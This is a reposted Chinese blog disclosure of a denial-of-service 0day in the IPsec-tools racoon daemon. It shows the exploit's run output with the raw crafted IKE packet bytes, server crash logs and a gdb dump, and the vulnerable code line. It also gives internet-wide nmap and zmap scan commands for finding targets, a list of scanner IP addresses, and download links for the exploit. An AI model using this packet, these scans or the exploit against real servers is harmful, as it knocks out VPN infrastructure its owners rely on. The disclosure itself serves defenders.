IPsec Tools拒绝服务0day漏洞详细报告(附0day)

IPsec-tools近日曝出拒绝服务0day漏洞,并且互联网上已经出现利用程序。你可能质疑该漏洞甚至未达到中等漏洞的评级,但请记住IPsec是至关重要的基础设施,并且这种攻击只需要两个小的UDP数据包。如果有打开日志记录或者用户经常断开或重新连接那么就很容易被发现,它可能会创建Intrusion Detection/Prevention (IDP)签名,更多的是,你可能需要运行一个蜜罐来进行检测。

如果你有使用IPsec-tools,明智的做法就是尽快替换它。

什么是IPsec

IPsec是一款用于关键基础设施的软件。它改进IP栈,这样IP层以下的所有协议都可以进行加密(TCP, UDP等等)。其通常被描述为科学,同时也是科学的一部分,但不要搞混淆IPsec到底是做什么的。

IPsec试图提供的特性:

加密(可选)
身份验证(可选)
保密性
完整性
可用性?

Demo:附在文末

用法:

python3 repro_racoon_dos129.py Warning: Unable to bind to port 500. Might not work. [Errno 13] Permission denied Umm, okay.129 ('\x81\xcf{r\x8e\xb6a\xdd9\xf1\x87cP\xb1\x05\xc7\x01\x10\x02\x00\x00\x00\x00\x00\x00\x00\x00\x98\r\x00\x00<\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x000\x01\x01\x00\x01\x00\x00\x00(\x01\x01\x00\x00\x80\x0b\x00\x01\x00\x0c\x00\x04\x00\x01Q\x80\x80\x01\x00\x07\x80\x0e\x01\x00\x80\x03\x00\x03\x80\x02\x00\x02\x80\x04\x00\x05\r\x00\x00\x14J\x13\x1c\x81\x07\x03XE\\W(\xf2\x0e\x95E/\r\x00\x00\x14\xaf\xca\xd7\x13h\xa1\xf1\xc9k\x86\x96\xfcwW\x01\x00\x00\x00\x00\x18@H\xb7\xd5n\xbc\xe8\x85%\xe7\xde\x7f\x00\xd6\xc2\xd3\x80\x00\x00\x00', ('192.168.88.247', 500))129 sending second packet Umm, okay.

服务器崩溃:

sudo racoon -F -v -f server_racoon.conf >server_dos5m.txt 2>&1 & jvoss@ipsecu:~$ dmesg |tail [  584.440533] AVX or AES-NI instructions are not detected. [  584.442253] AVX or AES-NI instructions are not detected. [  584.490468] AVX instructions are not detected. [13683.867215] init: upstart-udev-bridge main process (361) terminated with status 1 [13683.867223] init: upstart-udev-bridge main process ended, respawning [13683.867307] init: upstart-file-bridge main process (452) terminated with status 1 [13683.867313] init: upstart-file-bridge main process ended, respawning [13683.867386] init: upstart-socket-bridge main process (616) terminated with status 1 [13683.867392] init: upstart-socket-bridge main process ended, respawning [19912.460170] racoon[3701]: segfault at 100 ip 00007fe0eba84ce7 sp 00007ffff51db730 error 4 in racoon[7fe0eba5e000+93000] 2015-04-27 15:22:14: INFO: received Vendor ID: draft-ietf-ipsec-nat-t-ike-00 2015-04-27 15:22:14: INFO: received broken Microsoft ID: FRAGMENTATION 2015-04-27 15:22:14: INFO: received Vendor ID: DPD 2015-04-27 15:22:14: [169.254.44.43] INFO: Selected NAT-T version: RFC 3947 2015-04-27 15:22:14: [169.254.44.43] ERROR: ignore the packet, received unexpecting payload type 128. 2015-04-27 15:22:14: INFO: respond new phase 1 negotiation: 169.254.88.251[500]<=>169.254.44.43[42258] 2015-04-27 15:22:14: INFO: begin Identity Protection mode. 2015-04-27 15:22:14: INFO: received Vendor ID: RFC 3947 2015-04-27 15:22:14: INFO: received Vendor ID: draft-ietf-ipsec-nat-t-ike-02 2015-04-27 15:22:14: INFO: received Vendor ID: draft-ietf-ipsec-nat-t-ike-02 2015-04-27 15:22:14: INFO: received Vendor ID: draft-ietf-ipsec-nat-t-ike-00 2015-04-27 15:22:14: INFO: received broken Microsoft ID: FRAGMENTATION 2015-04-27 15:22:14: INFO: received Vendor ID: DPD 2015-04-27 15:22:14: [169.254.44.43] INFO: Selected NAT-T version: RFC 3947 Program received signal SIGSEGV, Segmentation fault. 0x000055555557ace7 in ?? () (gdb) bt #0  0x000055555557ace7 in ?? () #1  0x000055555557b775 in ?? () #2  0x000055555556c1a1 in ?? () #3  0x0000555555563fd1 in ?? () #4  0x00005555555658ec in ?? () #5  0x000055555555fc9d in ?? () #6  0x000055555555f273 in ?? () #7  0x00007ffff6953ec5 in __libc_start_main (main=0x55555555f010, argc=5, argv=0x7fffffffe738, init=<optimized out>,      fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe728) at libc-start.c:287 #8  0x000055555555f3ec in ?? () (gdb) x/15i $rip - 12    0x55555557acdb:      mov    %eax,0x1c8(%rsp)    0x55555557ace2:      mov    0x28(%r12),%rax => 0x55555557ace7:      mov    0x100(%rax),%rax    0x55555557acee:      mov    0x30(%rax),%rax    0x55555557acf2:      test   %rax,%rax    0x55555557acf5:      je     0x55555557af00    0x55555557acfb:      mov    (%rax),%rdx    0x55555557acfe:      lea    0x20(%rsp),%r13    0x55555557ad03:      mov    0x8(%rax),%rax    0x55555557ad07:      lea    0x1c(%rsp),%rbx    0x55555557ad0c:      lea    0x30(%rsp),%rsi    0x55555557ad11:      mov    %r13,%rcx    0x55555557ad14:      mov    %rdx,0x30(%rsp)    0x55555557ad19:      mov    %rbx,%rdi    0x55555557ad1c:      xor    %edx,%edx (gdb) i r rax            0x0      0 rbx            0x0      0 rcx            0x5555558dbe40   93824995933760 rdx            0x5555558dbe40   93824995933760 rsi            0x0      0 rdi            0x5555558dbdc0   93824995933632 rbp            0x5555558dbdc0   0x5555558dbdc0 rsp            0x7fffffffd180   0x7fffffffd180 r8             0x5555558dbdc0   93824995933632 r9             0x7ffff6cf07b8   140737334151096 r10            0xbdb00  776960 r11            0x5555558da301   93824995926785 r12            0x5555558da300   93824995926784 r13            0x555555822460   93824995173472 r14            0x5555558da420   93824995927072 r15            0x7fffffffd260   140737488343648 rip            0x55555557ace7   0x55555557ace7 eflags         0x10206  [ PF IF RF ] cs             0x33     51 ss             0x2b     43 ds             0x0      0 es             0x0      0 fs             0x0      0 gs             0x0      0

#p#

不使用IPsec

IPsec有许多易受到攻击的操作模式,你可以从他的配置中看出来。

不要使用预共享密钥 不使用防火墙阻止攻击者桥接你的网络 不要让个人或者没有IT主管的公司桥接你的网络 不要使用IPsec代替TLS 不要使用IPsec防止0-day 如果你没有一个能干的IT人,不要运行它 不要购买一个没有更新的IPsec设备软件 ....

如果NSA想要获取你的所有数据,那么他们完全有这个能力。

关于漏洞

漏洞位置:

if (iph1->rmconf->proposal->gssid != NULL) {

Fuzzer(漏洞检查工具)好像错过了什么,黑客们好像也错过了什么。如果不是我幸运以及坚持,可能我也会错过些什么东西。

NetBSD, FreeBSD, Android以及其他许多产品都在使用IPsec tools,我认为这就有必要去寻找发掘漏洞。我检测Makefile文件,在GSSAPI中Android并没有进行编译。

IPsec作者没有回应我们的多次请求,我们也没有联系FreeBSD或NetBSD,因为我们没有花足够的时间来检查kame.net。说实话看着NetBSD就蛋疼,我不会花过多的时间来安装FreeBSD或NetBSD。我的同事在SourceForge已经发布这个漏洞,而我要做的事情就是充分的披露它。

修复一个漏洞需要多久

如果没有类似的缺陷,修复一个漏洞大概需要1个小时左右,通知使用者却需要20小时左右。

我不愿意做这样的事情,这个问题自然有CVE解决。

实在无力吐槽IPsec-tools,如果你是它的死忠粉请不要来黑我。不介意的话我可以再从其中找个漏洞出来,再次公开!

意义何在

当IKE daemon崩溃,可能会导致重新启动。一旦重新启动,就给了攻击者更多尝试启动IKE daemon的机会,结果:未知。如果不重新启动,密钥不会改变。当重复4次就会丧失其完整性和机密性,重启又变得很容易了,结果:潜在妥协。

如果系统判断这两个设备不应该再使用IPsec,系统会恢复默认状态,结果:可能完全妥协。

当加密完全被破环,加密层以下就很容易被攻击者攻破。

IPsec被设计为运行于公共网络,中间人攻击也并非只是理论。中间人攻击经常用在WIFI,公司网络(平面拓扑结构),服务器(DMZ/segmented),骨干路由器(ISP)

我并没有在这里危言耸听。利用该漏洞,单独一个人来攻击公司网络的可能性十分低(一个人至少需要4个小时的时间来尝试)。NSA攻破伊朗air-gapped网络并摧毁其离心机,如果他想获取你所拥有的东西,使用该漏洞简直轻而易举!

关于IPsec设计

IPsec协议过于复杂,缺少x.509的灵活性,TLVs的设计是为了减少缓冲区溢出,开发者混淆不清导致出现许多错误。IKE daemon经常被设置为root权限,任何的IP数据包都可以浏览IPsec,实现IKE客户端只用了8个小时,实现IKE服务端只用了8个小时。我们为什么需要灵活性?IPsec的作者应该为他自己感到羞愧,他们的思维依旧还活在90年代 。我们为什么还没有取代IPsec?Bruce Schneier曾公开谴责IPsec,对于IPsec这已经不是什么新鲜事了,但对于IPsec的使用者来说这绝对不是一件好事情。

谁在使用IPsec-tools

IPsec-tools有一个唯一的响应签名,你可以写一个Nmap脚本去检测。以下测试没有在FreeBSD和NetBSD上进行进行。

你不需要运行

nmap -sU -Pn -n -vvv -iR 100000 -p 500 -oA nmap_ike1

或者

sudo nmap -sU -sV -O -Pn -n -vvv -iR 100000 -p 500 -oA nmap_ike2

再或者

sudo zmap ike

为了寻找一长串IPsec-tools使用者列表,你不需要进行网络调查,nmap并不能轻松的使用这个exploit寻找漏洞服务器。

IPsec扫描器

目前有很多的IPsec扫描器在扫描使用IPv4协议的IKE服务器。你认为他们这样做的目的是什么?一些人仅仅只是进行研究,一些人就是纯粹的脚本小子,一些人就是为了进行IP地址欺骗攻击。据我的推测手握0day的他们正在利用这个漏洞攻击他们所遇到的所有科学,从他们发送的数据包就可以看得出来。

数量   IP地址

915   92.156.83.10

413   88.182.227.2

379   222.64.125.46

366   202.153.47.42

156   92.139.69.91

146   195.87.244.8

134   2.12.52.14

132   5.107.86.214

115   93.100.141.178

113   212.57.6.226

102   212.21.46.34

98     41.214.10.33

92    114.35.125.229

90    41.136.2.241

90    41.136.18.209

85    79.165.141.243

79    67.68.122.156

79    46.14.13.125

64    124.148.219.105

60    190.199.39.243

59    203.59.158.2

57    95.29.206.187

56    185.56.161.133

56    154.70.115.98

46    41.136.47.233

45    86.235.41.154

43    212.87.172.4

42    89.157.119.185

41    50.189.102.250

幻灯片地址

[https://www.altsci.com/ipsec/ipsecs2a.html]

IPsec-tools 0-day Exploit

[链接:http://pan.baidu.com/s/1o6C9mOU 密码:tfn4]

sig

[链接:http://pan.baidu.com/s/1dDo5bo9 密码:4iki]

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/143527.html<

(0)
运维的头像运维
上一篇2025-03-09 18:01
下一篇 2025-03-09 18:03

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注